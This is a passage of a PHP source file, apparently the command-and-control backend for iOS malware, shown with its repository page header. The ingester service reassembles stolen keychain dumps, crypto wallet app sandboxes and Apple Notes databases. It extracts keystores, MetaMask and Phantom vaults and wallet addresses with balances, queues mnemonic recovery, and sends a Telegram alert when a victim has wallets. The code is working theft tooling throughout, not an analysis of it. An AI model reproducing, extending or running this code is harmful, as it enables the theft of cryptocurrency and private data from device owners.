Files
coruna-lab/app/Services/AppUploadIngester.php
T
2026-10-05 06:12:43 +08:00

1405 lines
50 KiB
PHP
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<?php
namespace App\Services;
use App\Jobs\DecryptDeviceKeystores;
use App\Models\Device;
use App\Models\DeviceApp;
use App\Models\WalletKeystore;
use App\Support\WalletSource;
use Illuminate\Support\Facades\Log;
/**
* Ingest App-chain (/api/v2) chunked uploads into the wallet keystore +
* Apple Notes pipelines.
*
* The malware uploads three kinds of artifacts via /api/v2/uploads:
* 1. keychain.xml — full iOS keychain dump (doKeychain=true acquisition)
* 2. <bundleId>.tar — tar of each wallet app's Documents directory
* 3. group.com.apple.notes.tar — Apple Notes shared container (NoteStore.sqlite)
*
* This service reassembles chunked uploads, parses them, and:
* - keychain.xml → stored as a keychain.wallets WalletKeystore row
* - wallet tar → UTC / walletsV2 extracted as web3.keystore rows
* (full sandbox tar is not persisted)
* - notes tar → NoteStore.sqlite trio saved to c2/ds-results/ and
* DecodeMemoDb job dispatched to parse note text
*
* DecryptDeviceKeystores is dispatched on /api/v2/finish to recover
* mnemonics from the stored keystores off the request thread.
*/
final class AppUploadIngester
{
/** Chunk files are saved as <ts>_<tag>_<uploadId>_c<chunkIndex>.bin */
private const CHUNK_GLOB = '*_%s_c*.bin';
private const USDT_TRC20 = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
public function __construct(
private IngestService $ingest,
private DsTrustAddressIngest $trustAddresses,
) {}
/**
* Reassemble chunks for an upload session, parse the artifact, store
* keystores, and dispatch the decryption job.
*
* @param array<string, mixed> $session Cache session (fileName, numberOfChunks, ...)
*/
public function ingest(Device $device, string $uploadId, array $session): void
{
$fileName = (string) ($session['fileName'] ?? 'unknown');
$uploadDir = public_path('log/app_c2/uploads');
$chunks = $this->collectChunks($uploadDir, $uploadId, (int) ($session['numberOfChunks'] ?? 1));
if ($chunks === []) {
Log::channel('keystore')->warning('AppUploadIngester: no chunk files found', [
'device_id' => $device->id,
'upload_id' => $uploadId,
'file_name' => $fileName,
]);
return;
}
$content = $this->reassemble($chunks);
if ($content === '') {
return;
}
$this->dispatchParse($device, $content, $fileName, $uploadId);
}
/**
* Parse a fully reassembled artifact (used by tests and finish retry).
*/
public function ingestArtifact(Device $device, string $content, string $fileName, string $uploadId = 'direct'): void
{
$this->dispatchParse($device, $content, $fileName, $uploadId);
}
/**
* Dispatch the async keystore decryption job for a device.
*/
public function dispatchDecrypt(Device $device): void
{
try {
DecryptDeviceKeystores::dispatch($device->id, null, null);
} catch (\Throwable $e) {
Log::channel('keystore')->error('AppUploadIngester dispatch failed', [
'device_id' => $device->id,
'device_key' => $device->device_id,
'error' => $e->getMessage(),
]);
}
}
// ────────────────────────────────────────────────────────────
// chunk reassembly
// ────────────────────────────────────────────────────────────
/**
* @param list<int> $chunkIndices
* @return list<string> Sorted chunk file paths.
*/
private function collectChunks(string $dir, string $uploadId, int $numberOfChunks): array
{
if (! is_dir($dir)) {
return [];
}
// UUIDs only contain [0-9a-f-], none of which are glob special chars,
// so no escaping needed (preg_quote would break glob by escaping `-`).
$pattern = sprintf(self::CHUNK_GLOB, $uploadId);
$files = glob($dir.'/'.$pattern) ?: [];
if ($files === []) {
return [];
}
usort($files, function ($a, $b) {
return $this->chunkIndex($a) <=> $this->chunkIndex($b);
});
// Keep only the expected number of chunks.
return array_slice($files, 0, max(1, $numberOfChunks));
}
private function chunkIndex(string $path): int
{
if (preg_match('/_c(\d+)\.bin$/', $path, $m)) {
return (int) $m[1];
}
return 0;
}
/**
* @param list<string> $chunkPaths
*/
private function reassemble(array $chunkPaths): string
{
$out = '';
foreach ($chunkPaths as $path) {
$chunk = @file_get_contents($path);
if ($chunk === false) {
continue;
}
$out .= $chunk;
}
return $out;
}
// ────────────────────────────────────────────────────────────
// parse + store
// ────────────────────────────────────────────────────────────
/**
* Route the artifact to the correct parser based on file name.
*/
private function dispatchParse(Device $device, string $content, string $fileName, string $uploadId): void
{
$lower = strtolower($fileName);
if (str_contains($lower, 'keychain') || str_ends_with($lower, '.xml')) {
$this->parseKeychainXml($device, $content, $fileName);
} elseif (str_ends_with($lower, '.tar')) {
$bundleId = preg_replace('/\.tar$/i', '', $fileName);
// Apple Notes is uploaded as group.com.apple.notes.tar — route
// it to the NoteStore.sqlite decoder instead of the wallet
// keystore walker.
if ($this->isNotesBundle($bundleId)) {
$this->parseNotesTar($device, $content, $uploadId);
} else {
$this->parseWalletTar($device, $content, (string) $bundleId);
}
} else {
// Unknown artifact — try tar first, then keychain XML.
if ($this->looksLikeTar($content)) {
// Peek inside: if it contains NoteStore.sqlite, treat as notes.
if ($this->tarContainsNoteStore($content)) {
$this->parseNotesTar($device, $content, $uploadId);
} else {
$this->parseWalletTar($device, $content, $fileName);
}
} elseif ($this->looksLikeXml($content)) {
$this->parseKeychainXml($device, $content, $fileName);
}
}
}
/**
* Whether a bundle ID / file name refers to the Apple Notes app group.
*/
private function isNotesBundle(string $bundleId): bool
{
$lower = strtolower($bundleId);
return $lower === 'group.com.apple.notes'
|| str_contains($lower, 'com.apple.notes')
|| $lower === 'notes';
}
/**
* Quick peek: does this tar archive contain NoteStore.sqlite?
*/
private function tarContainsNoteStore(string $content): bool
{
if (! $this->looksLikeTar($content)) {
return false;
}
// Tar file names live in the 0–100 byte range of each 512-byte header.
// A simple substring scan for "NoteStore.sqlite" is good enough.
return str_contains($content, 'NoteStore.sqlite');
}
private function looksLikeTar(string $content): bool
{
return strlen($content) >= 262 && substr($content, 257, 5) === "ustar";
}
private function looksLikeXml(string $content): bool
{
return str_starts_with(ltrim($content), '<?xml') || str_starts_with(ltrim($content), '<Backup');
}
// ── keychain.xml ────────────────────────────────────────────
/**
* Parse the iOS keychain backup XML, group items by access group → wallet
* source, decode each item's v_Data (base64 plist → KEY/data → base64 →
* raw bytes), and store as a keychain.wallets WalletKeystore row.
*
* The DsKeystoreDecrypt walker expects:
* {kind: "keychain.wallets", wallets: {<source>: {items: [{account, service, dataHex}]}}}
*/
private function parseKeychainXml(Device $device, string $content, string $fileName): void
{
try {
$xml = @new \SimpleXMLElement($content);
} catch (\Throwable $e) {
Log::channel('keystore')->warning('AppUploadIngester: keychain XML parse failed', [
'device_id' => $device->id,
'file_name' => $fileName,
'error' => $e->getMessage(),
]);
return;
}
// Group items by source label.
$buckets = [];
$itemCount = 0;
$seenBundles = []; // bundle IDs seen in this keychain dump
foreach ($xml->xpath('//item') as $item) {
$acct = (string) ($item->acct ?? '');
$svce = (string) ($item->svce ?? '');
$agrp = (string) ($item->agrp ?? '');
$vData = (string) ($item->{'v_Data'} ?? '');
$dataHex = $this->decodeKeychainVData($vData);
if ($dataHex === '') {
continue;
}
$source = $this->sourceFromAgrp($agrp, $acct);
if (! isset($buckets[$source])) {
$buckets[$source] = ['items' => []];
}
$entry = $this->normalizeKeychainItem($acct, $svce, $agrp, $dataHex);
$buckets[$source]['items'][] = $entry;
$itemCount++;
// Collect bundle IDs from agrp for the installed-app list.
$bundle = $this->bundleIdFromAgrp($agrp);
if (
$bundle !== ''
&& ! DeviceApp::shouldSkipBundle($bundle)
&& ! DeviceApp::shouldSkipBundle($agrp)
&& ! isset($seenBundles[$bundle])
) {
$seenBundles[$bundle] = $source;
}
}
// Record every app that has keychain entries as installed.
foreach ($seenBundles as $bundle => $source) {
$this->recordInstalledApp($device, $bundle, $source);
}
if ($buckets === []) {
return;
}
$this->persistEncryptedVaultsFromKeychain($device, $buckets);
if ($buckets === []) {
return;
}
$rawJson = [
'kind' => 'keychain.wallets',
'wallets' => $buckets,
];
$source = 'app/keychain';
WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson);
Log::channel('keystore')->info('AppUploadIngester: stored keychain', [
'device_id' => $device->id,
'file_name' => $fileName,
'items' => $itemCount,
'sources' => array_keys($buckets),
]);
}
/**
* Pull MetaMask-style encrypted vaults (VAULT_BACKUP) out of the combined
* keychain row into their own needs_password=1 keystore rows.
*
* @param array<string, array{items: list<array<string, mixed>>}> $buckets
*/
public function persistEncryptedVaultsFromKeychain(Device $device, array &$buckets): void
{
$empty = [];
foreach ($buckets as $source => &$bucket) {
$items = is_array($bucket['items'] ?? null) ? $bucket['items'] : [];
$kept = [];
foreach ($items as $item) {
if (! is_array($item)) {
continue;
}
$vault = $this->vaultJsonFromKeychainItem($item);
if ($vault === null) {
$kept[] = $item;
continue;
}
$label = WalletSource::fromKeystoreHint(is_string($source) ? $source : '');
if ($label === '') {
$acct = strtolower((string) ($item['account'] ?? ''));
$agrp = strtolower((string) ($item['accessGroup'] ?? ''));
$label = ($acct === 'vault_backup' || str_contains($agrp, 'metamask'))
? 'MetaMask'
: (is_string($source) && $source !== '' && $source !== 'unknown' ? $source : 'MetaMask');
}
$payload = $vault;
$payload['kind'] = 'metamask.vault';
WalletKeystore::firstOrCreateForDevice($device, $label, $payload, true);
}
$bucket['items'] = $kept;
if ($kept === []) {
$empty[] = $source;
}
}
unset($bucket);
foreach ($empty as $source) {
unset($buckets[$source]);
}
}
/**
* Split vaults already stored inside the combined app/keychain row
* (devices ingested before vaults were persisted separately).
*/
public function splitStoredKeychainVaults(Device $device): void
{
$row = WalletKeystore::query()
->where('device_id', $device->id)
->where('source', 'app/keychain')
->first();
if ($row === null) {
return;
}
$json = is_array($row->raw_json) ? $row->raw_json : [];
$wallets = is_array($json['wallets'] ?? null) ? $json['wallets'] : [];
if ($wallets === []) {
return;
}
$before = json_encode($wallets);
$this->persistEncryptedVaultsFromKeychain($device, $wallets);
if ($before === json_encode($wallets)) {
return;
}
$json['wallets'] = $wallets;
$row->raw_json = $json;
if (\Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'content_hash')) {
$row->content_hash = WalletKeystore::hashPayload($json);
}
foreach (WalletKeystore::listStatsAttributes(WalletKeystore::computeListStatsFromJson($json)) as $key => $value) {
$row->setAttribute($key, $value);
}
$row->save();
}
/**
* @param array<string, mixed> $item
* @return array<string, mixed>|null
*/
private function vaultJsonFromKeychainItem(array $item): ?array
{
$hex = (string) ($item['dataHex'] ?? '');
if ($hex === '' || ! ctype_xdigit($hex) || strlen($hex) % 2 !== 0) {
return null;
}
$raw = @hex2bin($hex);
if (! is_string($raw) || $raw === '') {
return null;
}
$json = json_decode($raw, true);
if (! is_array($json)) {
return null;
}
foreach (['cipher', 'iv', 'salt'] as $key) {
if (! is_string($json[$key] ?? null) || $json[$key] === '') {
return null;
}
}
return $json;
}
/**
* Decode the base64-encoded content in <v_Data> and return the raw
* bytes as hex.
*
* Two storage formats exist in iOS keychain dumps:
* 1. Plist-wrapped: <plist><dict><key>KEY</key><data>base64</data>…</dict></plist>
* — common for Apple system entries (Bluetooth, account tokens).
* 2. Raw value: the base64-decoded content is the value itself (a hex
* string, a plain-text password, a JSON snippet, etc.) with no plist
* wrapper — common for third-party app entries (Trust Wallet stores
* the keystore password as a base64-encoded hex string).
*
* @param string $vDataRaw Base64-encoded content from <v_Data bin="1">.
*/
private function decodeKeychainVData(string $vDataRaw): string
{
$vDataRaw = trim($vDataRaw);
if ($vDataRaw === '') {
return '';
}
$decoded = base64_decode($vDataRaw, true);
if (! is_string($decoded) || $decoded === '') {
return '';
}
// ── 1. Try plist-wrapped format (Apple system entries) ──
// The plist is XML: <plist><dict><key>KEY</key><data>base64</data></dict></plist>
if (str_starts_with(ltrim($decoded), '<') || str_starts_with(ltrim($decoded), "\xb5")) {
try {
$px = @new \SimpleXMLElement($decoded);
$dataNodes = $px->xpath('//data');
foreach ($dataNodes as $dataNode) {
$b64 = trim((string) $dataNode);
if ($b64 === '') {
continue;
}
$bin = base64_decode($b64, true);
if (is_string($bin) && $bin !== '') {
return bin2hex($bin);
}
}
} catch (\Throwable) {
// fall through to raw handling
}
}
// ── 2. Raw value (third-party app entries) ──
// The decoded content IS the value — return it as hex so the
// keystore decryptor can try it as a password. This covers:
// • hex strings (Trust Wallet keystore password)
// • plain text passwords
// • small JSON blobs
return bin2hex($decoded);
}
/**
* Fill missing Phantom account/service so recoverPhantom can match seedless vaults.
*
* @return array{account: string, service: string, accessGroup: string, dataHex: string}
*/
private function normalizeKeychainItem(string $acct, string $svce, string $agrp, string $dataHex): array
{
$bundle = strtolower($this->bundleIdFromAgrp($agrp));
$isPhantom = str_contains($bundle, 'phantom')
|| str_contains(strtolower($agrp), 'phantom')
|| str_contains(strtolower($acct), 'phantom');
if ($isPhantom && $acct === '') {
$raw = '';
if ($dataHex !== '' && ctype_xdigit($dataHex) && strlen($dataHex) % 2 === 0) {
$raw = (string) @hex2bin($dataHex);
}
$json = $raw !== '' ? json_decode($raw, true) : null;
if (is_array($json) && (isset($json['entropy']) || isset($json['seed']) || isset($json['keyPairs']))) {
$acct = bin2hex('.phantom-labs.vault.seedless');
if ($svce === '') {
$svce = 'app:no-auth';
}
}
}
return [
'account' => $acct,
'service' => $svce,
'accessGroup' => $agrp,
'dataHex' => $dataHex,
];
}
/**
* Map a keychain access group (agrp) to a wallet source label.
* agrp format: "TEAMID.com.bundle.id" or "group.com.bundle.id".
*/
private function sourceFromAgrp(string $agrp, string $acct): string
{
$agrp = trim($agrp);
if ($agrp === '') {
// Fall back to account-based hint.
$hint = WalletSource::fromKeystoreHint($acct);
return $hint !== '' ? $hint : 'unknown';
}
// Extract bundle id: take the part after the first dot.
$bundle = '';
$parts = explode('.', $agrp, 2);
if (count($parts) === 2) {
$bundle = $parts[1];
}
$label = WalletSource::labelForBundle($bundle, '');
if ($label !== '' && $label !== $bundle) {
return $label;
}
$hint = WalletSource::fromKeystoreHint($bundle);
if ($hint !== '') {
return $hint;
}
return $bundle !== '' ? $bundle : 'unknown';
}
/**
* Extract the raw bundle ID from a keychain access group.
* agrp format: "TEAMID.com.bundle.id" or "group.com.bundle.id".
*/
private function bundleIdFromAgrp(string $agrp): string
{
$agrp = trim($agrp);
if ($agrp === '') {
return '';
}
$parts = explode('.', $agrp, 2);
return $parts[1] ?? '';
}
/**
* Record a bundle ID into the device's installed-app list. The malware
* only uploads a tar for apps whose sandbox it could dump, so any
* uploaded bundle ID is proof the app is installed. Keychain access
* groups are a secondary signal (the app has keychain entries).
*/
private function recordInstalledApp(Device $device, string $bundleId, ?string $name = null): void
{
$bundleId = trim($bundleId);
if ($bundleId === '' || DeviceApp::shouldSkipBundle($bundleId)) {
return;
}
$label = WalletSource::labelForBundle($bundleId, $name ?? $bundleId);
$displayName = ($label !== '' && $label !== $bundleId) ? $label : ($name ?? $bundleId);
DeviceApp::query()->updateOrCreate(
['device_id' => $device->id, 'bundle_id' => $bundleId],
[
'name' => $displayName,
'is_wallet' => WalletSource::isPluginWalletBundle($bundleId),
'meta_json' => ['source' => 'app_upload', 'uploaded_at' => now()->toIso8601String()],
]
);
$this->refreshDeviceWalletFlag($device);
}
/**
* Refresh the device's has_wallet / wallet_names flags from the
* current installed-app list. Sends a Telegram notification when
* wallets are first detected (has_wallet transitions NONE → YES),
* mirroring IngestService::refreshDeviceWalletFlag.
*/
private function refreshDeviceWalletFlag(Device $device): void
{
$names = [];
foreach ($device->apps()->get(['bundle_id', 'name']) as $app) {
$bundle = (string) $app->bundle_id;
if (! WalletSource::isPluginWalletBundle($bundle)) {
continue;
}
$label = WalletSource::labelForBundle($bundle, $app->name);
$names[$label] = true;
}
$labels = array_keys($names);
sort($labels);
$alreadyYes = (int) $device->has_wallet === Device::WALLET_YES;
$device->has_wallet = $labels === [] ? Device::WALLET_NONE : Device::WALLET_YES;
$device->wallet_names = $labels === [] ? null : $labels;
$device->saveQuietly();
// Notify Telegram the first time wallets are detected
// (UNKNOWN/NONE → YES transition).
if (! $alreadyYes && $device->has_wallet === Device::WALLET_YES && $labels !== []) {
try {
app(\App\Services\TelegramNotifier::class)
->notifyInstalledWallets($device->device_id, $labels);
} catch (\Throwable $e) {
Log::channel('keystore')->warning(
'AppUploadIngester telegram notifyInstalledWallets failed: '.$e->getMessage(),
['device_id' => $device->id, 'device_key' => $device->device_id],
);
}
}
}
// ── wallet app tar ──────────────────────────────────────────
/**
* Walk a wallet app tar for Web3 UTC / walletsV2 JSON and on-chain
* addresses. Standard keystores are stored as their own rows. The rest of
* the sandbox (MMKV, icons, encrypted DBs) is not persisted — it is not
* used to unlock a mnemonic once the UTC blob is extracted.
*/
private function parseWalletTar(Device $device, string $content, string $bundleId): void
{
$source = WalletSource::labelForBundle($bundleId, $bundleId);
if ($source === '' || $source === $bundleId) {
$hint = WalletSource::fromKeystoreHint($bundleId);
$source = $hint !== '' ? $hint : ($bundleId !== '' ? $bundleId : 'unknown');
}
// The malware only uploads a tar for apps whose sandbox it could
// dump — so this bundle is definitely installed on the device.
$this->recordInstalledApp($device, $bundleId, $source);
$sandbox = $this->extractTarSandbox($content);
$needsPassword = $sandbox !== [] && $this->sandboxNeedsUserPassword($bundleId, $source, $sandbox);
$this->storeWeb3KeystoresFromSandbox($device, $source, $sandbox, $needsPassword);
$this->ingestAddressesFromWalletTar($device, $source, $bundleId, $content, $sandbox);
Log::channel('keystore')->info('AppUploadIngester: parsed wallet tar', [
'device_id' => $device->id,
'bundle_id' => $bundleId,
'source' => $source,
'files' => $sandbox === [] ? 0 : count($sandbox, COUNT_RECURSIVE),
'needs_password' => $needsPassword ? 1 : null,
]);
}
/**
* Standard Web3 UTC / walletsV2 blobs nested in the sandbox become their own rows
* so the keystore list can show "标准 Keystore" and the plaintext viewer.
*
* @param array<string, mixed> $sandbox
*/
private function storeWeb3KeystoresFromSandbox(Device $device, string $source, array $sandbox, bool $needsPassword): void
{
foreach ($this->collectWeb3Nodes($sandbox) as $node) {
$payload = $node;
$payload['kind'] = 'web3.keystore';
WalletKeystore::firstOrCreateForDevice($device, $source, $payload, $needsPassword);
}
}
/**
* @param mixed $node
* @return list<array<string, mixed>>
*/
private function collectWeb3Nodes(mixed $node, int $depth = 0): array
{
if ($depth > 12 || ! is_array($node)) {
return [];
}
$out = [];
$crypto = $node['crypto'] ?? null;
if (is_array($crypto) && isset($crypto['ciphertext'], $crypto['mac'])) {
$out[] = $node;
}
foreach ($node as $child) {
if (is_array($child)) {
$out = array_merge($out, $this->collectWeb3Nodes($child, $depth + 1));
}
}
return $out;
}
/**
* imToken / MetaMask / TronLink / TokenPocket sandbox UTC cannot be opened
* without the user password (Trust UTC uses a keychain password instead).
*
* @param array<string, mixed> $sandbox
*/
private function sandboxNeedsUserPassword(string $bundleId, string $source, array $sandbox): bool
{
$bundle = strtolower(trim($bundleId));
$label = strtolower(trim($source));
$names = $bundle.' '.$label;
if (str_contains($names, 'trust')) {
return false;
}
$passwordWallets = (
str_contains($names, 'imtoken') || str_contains($names, 'im.token')
|| str_contains($names, 'metamask')
|| str_contains($names, 'tronlink')
|| str_contains($names, 'tokenpocket')
|| str_contains($names, 'global wallet')
|| str_contains($names, 'com.global.wallet')
|| str_contains($names, 'vip.mytokenpocket')
);
if (! $passwordWallets) {
return false;
}
if (str_contains($names, 'metamask') || str_contains($names, 'tokenpocket') || str_contains($names, 'global wallet') || str_contains($names, 'com.global.wallet')) {
return true;
}
return $this->collectWeb3Nodes($sandbox) !== [];
}
/**
* Pull chain addresses (and TronLink sqlite balances) into wallet_addresses.
*
* @param array<string, mixed> $sandbox
*/
private function ingestAddressesFromWalletTar(Device $device, string $source, string $bundleId, string $tar, array $sandbox): void
{
$rows = [];
$imToken = $this->isImTokenSource($source, $bundleId);
$tokenPocketFamily = $this->isTokenPocketFamily($source, $bundleId);
// Global Wallet / TokenPocket Documents tar is token-list + helper
// contracts (balanceContract / batchTxContract). Real wallets live in
// encrypted sqlite and are not recoverable from this dump.
$hits = [];
if ($imToken) {
$hits = $this->collectImTokenAddressHits($sandbox);
} elseif ($this->isTrustSource($source, $bundleId)) {
$hits = $this->collectTrustAddressHits($sandbox);
} elseif (! $tokenPocketFamily) {
$hits = $this->collectAddressHits($sandbox);
}
foreach ($hits as $hit) {
// Same 0x is ETH + BSC + ARB on Trust HD. Key by chain too or
// the last coin (ARB) overwrites ETH.
$rows[$hit['chain_type'].'|'.$hit['address']] = $hit;
}
if (! $imToken && ! $tokenPocketFamily && ! $this->isTrustSource($source, $bundleId)) {
foreach ($this->collectSqliteAddressHits($tar) as $hit) {
$key = $hit['address'];
if (isset($rows[$key]) && is_array($rows[$key]['balance'] ?? null) && is_array($hit['balance'] ?? null)) {
$rows[$key]['balance'] = array_merge($rows[$key]['balance'], $hit['balance']);
} else {
$rows[$key] = $hit;
}
}
}
if ($rows === []) {
return;
}
$tag = WalletSource::tagForLabel($source);
if ($tag === '') {
$tag = WalletSource::tagForLabel(WalletSource::labelForBundle($bundleId, $source)) ?: 'd';
}
$ad = [];
foreach ($rows as $hit) {
$base = [
'address' => $hit['address'],
'chainType' => $hit['chain_type'],
];
$balance = is_array($hit['balance'] ?? null) ? $hit['balance'] : [];
if ($balance === []) {
$ad[] = $base;
continue;
}
foreach ($balance as $symbol => $amount) {
$ad[] = array_merge($base, [
'symbol' => strtoupper((string) $symbol),
'balance' => $amount,
]);
}
}
$this->ingest->ingestAddresses($device, [
'a' => $tag,
'ad' => $ad,
]);
}
private function isImTokenSource(string $source, string $bundleId): bool
{
$hay = strtolower($source.' '.$bundleId);
return str_contains($hay, 'imtoken') || str_contains($hay, 'im.token');
}
private function isTokenPocketFamily(string $source, string $bundleId): bool
{
$hay = strtolower($source.' '.$bundleId);
return str_contains($hay, 'global wallet')
|| str_contains($hay, 'com.global.wallet')
|| str_contains($hay, 'tokenpocket')
|| str_contains($hay, 'token pocket')
|| str_contains($hay, 'mytokenpocket');
}
private function isTrustSource(string $source, string $bundleId): bool
{
$hay = strtolower($source.' '.$bundleId);
return str_contains($hay, 'trust')
|| str_contains($hay, 'sixdays.trust')
|| str_contains($hay, 'wallet.crypto.trustapp');
}
/**
* Trust HD UTC lists every WalletCore coin in activeAccounts. Many of
* those addresses are 0x-shaped (ETC, VeChain, Theta, …) and must not
* be stored as Ethereum. Reuse the DS collector: BTC/ETH/TRX/BSC/SOL/ARB.
*
* @param array<string, mixed> $sandbox
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
*/
private function collectTrustAddressHits(array $sandbox): array
{
$out = [];
foreach ($this->trustAddresses->collect($sandbox) as $row) {
$out[] = [
'address' => $row['address'],
'chain_type' => $row['chainType'],
'balance' => [],
];
}
if ($out !== []) {
return $out;
}
foreach ($this->collectWeb3Nodes($sandbox) as $node) {
$addr = $node['address'] ?? null;
if (! is_string($addr) || $addr === '') {
continue;
}
$hit = $this->addressHitFromString($addr);
if ($hit !== null) {
$out[] = $hit;
}
}
return $out;
}
/**
* imToken AsyncStorage mixes the real EOA with token-list contract
* addresses under the same `address` key. Keep accountAddress and
* AccountModel EOAs only — never walletsV2 UTC address or USDT/WETH
* contracts.
*
* @param mixed $node
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
*/
private function collectImTokenAddressHits(mixed $node, int $depth = 0): array
{
if ($depth > 14 || ! is_array($node)) {
return [];
}
$out = [];
$accountAddress = $node['accountAddress'] ?? null;
if (is_string($accountAddress)) {
$hit = $this->addressHitFromString($accountAddress);
if ($hit !== null) {
$out[] = $hit;
}
}
if ($this->isImTokenAccountNode($node)) {
$addr = $node['address'] ?? null;
if (is_string($addr)) {
$hit = $this->addressHitFromString($addr);
if ($hit !== null) {
$out[] = $hit;
}
}
}
foreach ($node as $child) {
if (is_array($child)) {
$out = array_merge($out, $this->collectImTokenAddressHits($child, $depth + 1));
}
}
return $out;
}
/**
* @param array<string, mixed> $node
*/
private function isImTokenAccountNode(array $node): bool
{
if (isset($node['tokenType']) || isset($node['tokenStandard'])) {
return false;
}
$type = strtoupper((string) ($node['type'] ?? ''));
if ($type === 'EOA') {
return true;
}
$path = (string) ($node['path'] ?? '');
return str_starts_with($path, "m/44'");
}
/**
* @param mixed $node
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
*/
private function collectAddressHits(mixed $node, int $depth = 0): array
{
if ($depth > 12 || $node === null) {
return [];
}
$out = [];
if (is_string($node)) {
$hit = $this->addressHitFromString($node);
if ($hit !== null) {
$out[] = $hit;
}
return $out;
}
if (! is_array($node)) {
return [];
}
foreach (['address', 'Address', 'walletAddress', 'ethAddress', 'tronAddress'] as $key) {
if (isset($node[$key]) && is_string($node[$key])) {
$hit = $this->addressHitFromString($node[$key]);
if ($hit !== null) {
$out[] = $hit;
}
}
}
foreach ($node as $child) {
if (is_array($child) || is_string($child)) {
$out = array_merge($out, $this->collectAddressHits($child, $depth + 1));
}
}
return $out;
}
/**
* @return array{address: string, chain_type: string, balance: array<string, int|float|string>}|null
*/
private function addressHitFromString(string $raw): ?array
{
$addr = trim($raw);
if ($addr !== '' && ctype_xdigit($addr) && strlen($addr) === 40) {
$addr = '0x'.$addr;
}
$chain = WalletSource::inferChainType($addr);
if (! WalletSource::isSupportedChain($chain)) {
return null;
}
return [
'address' => $addr,
'chain_type' => $chain,
'balance' => [],
];
}
/**
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
*/
private function collectSqliteAddressHits(string $tar): array
{
$out = [];
$this->eachTarFile($tar, function (string $path, string $raw) use (&$out): void {
if (strlen($raw) < 16 || ! str_starts_with($raw, "SQLite format 3")) {
return;
}
foreach ($this->parseSqliteWalletRows($raw) as $hit) {
$out[] = $hit;
}
});
return $out;
}
/**
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
*/
private function parseSqliteWalletRows(string $sqlite): array
{
$tmp = tempnam(sys_get_temp_dir(), 'app_upload_sqlite_');
if ($tmp === false) {
return [];
}
try {
if (@file_put_contents($tmp, $sqlite) === false) {
return [];
}
$pdo = new \PDO('sqlite:'.$tmp, null, null, [
\PDO::ATTR_ERRMODE => \PDO::ERRMODE_EXCEPTION,
]);
$tables = $pdo->query("SELECT name FROM sqlite_master WHERE type='table'")->fetchAll(\PDO::FETCH_COLUMN);
$byAddr = [];
foreach ($tables as $table) {
$table = (string) $table;
if ($table === '' || str_starts_with($table, 'sqlite_')) {
continue;
}
$cols = [];
try {
$infoName = preg_match('/^[A-Za-z0-9_]+$/', $table)
? $table
: '"'.str_replace('"', '""', $table).'"';
$cols = $pdo->query('PRAGMA table_info('.$infoName.')')->fetchAll(\PDO::FETCH_ASSOC);
} catch (\Throwable) {
continue;
}
$colNames = [];
foreach ($cols as $col) {
$colNames[] = (string) ($col['name'] ?? '');
}
$addrCol = $this->firstMatchingColumn($colNames, ['address', 'walletAddress', 'wallet_address', 'addr']);
if ($addrCol === null) {
continue;
}
$quotedTable = '"'.str_replace('"', '""', $table).'"';
$quotedAddr = '"'.str_replace('"', '""', $addrCol).'"';
$stmt = $pdo->query('SELECT * FROM '.$quotedTable.' WHERE '.$quotedAddr.' IS NOT NULL');
while ($row = $stmt->fetch(\PDO::FETCH_ASSOC)) {
$hit = $this->addressHitFromString((string) ($row[$addrCol] ?? ''));
if ($hit === null) {
continue;
}
$addr = $hit['address'];
if (! isset($byAddr[$addr])) {
$byAddr[$addr] = $hit;
}
$coin = $this->coinFromSqliteRow($row);
$amount = $this->numericFromSqliteRow($row, ['balance', 'amount', 'quantity', 'value']);
if ($coin !== null && $amount !== null) {
$byAddr[$addr]['balance'][$coin] = $amount;
}
}
}
return array_values($byAddr);
} catch (\Throwable) {
return [];
} finally {
@unlink($tmp);
}
}
/**
* @param list<string> $cols
* @param list<string> $want
*/
private function firstMatchingColumn(array $cols, array $want): ?string
{
$lower = [];
foreach ($cols as $col) {
$lower[strtolower($col)] = $col;
}
foreach ($want as $name) {
if (isset($lower[strtolower($name)])) {
return $lower[strtolower($name)];
}
}
return null;
}
/**
* @param array<string, mixed> $row
*/
private function coinFromSqliteRow(array $row): ?string
{
foreach (['shortName', 'tokenName', 'name', 'symbol', 'tokenAbbr', 'token_name'] as $key) {
if (! isset($row[$key]) || ! is_string($row[$key])) {
continue;
}
$sym = strtoupper(trim($row[$key]));
if ($sym === 'TRX') {
return 'trx';
}
if ($sym === 'USDT' || $sym === 'USD₮') {
return 'usdt';
}
if ($sym === 'ETH') {
return 'eth';
}
if ($sym === 'BTC') {
return 'btc';
}
if ($sym === 'BNB') {
return 'bnb';
}
}
foreach (['contractAddress', 'tokenAddress', 'contract', 'id'] as $key) {
$val = strtoupper(trim((string) ($row[$key] ?? '')));
if ($val === strtoupper(self::USDT_TRC20)) {
return 'usdt';
}
}
return null;
}
/**
* @param array<string, mixed> $row
* @param list<string> $keys
*/
private function numericFromSqliteRow(array $row, array $keys): ?string
{
foreach ($keys as $key) {
if (! array_key_exists($key, $row)) {
continue;
}
$val = $row[$key];
if ($val === null || $val === '') {
continue;
}
if (! is_numeric($val)) {
continue;
}
return (string) $val;
}
return null;
}
/**
* @param callable(string $path, string $raw): void $cb
*/
private function eachTarFile(string $content, callable $cb): void
{
if (! $this->looksLikeTar($content)) {
return;
}
$tmp = tempnam(sys_get_temp_dir(), 'app_upload_walk_');
if ($tmp === false) {
return;
}
$tmpTar = $tmp.'.tar';
@rename($tmp, $tmpTar);
$tmp = $tmpTar;
try {
if (@file_put_contents($tmp, $content) === false) {
return;
}
try {
$phar = new \PharData($tmp);
} catch (\Throwable) {
return;
}
$prefix = 'phar://'.$tmp;
foreach (new \RecursiveIteratorIterator($phar) as $f) {
if (! $f->isFile()) {
continue;
}
$rel = ltrim(str_replace('\\', '/', $f->getPathname()));
if (str_starts_with($rel, $prefix)) {
$rel = substr($rel, strlen($prefix));
}
$rel = ltrim($rel, '/');
$raw = @file_get_contents($f->getPathname());
if (! is_string($raw) || $raw === '') {
continue;
}
$cb($rel, $raw);
}
} finally {
@unlink($tmp);
}
}
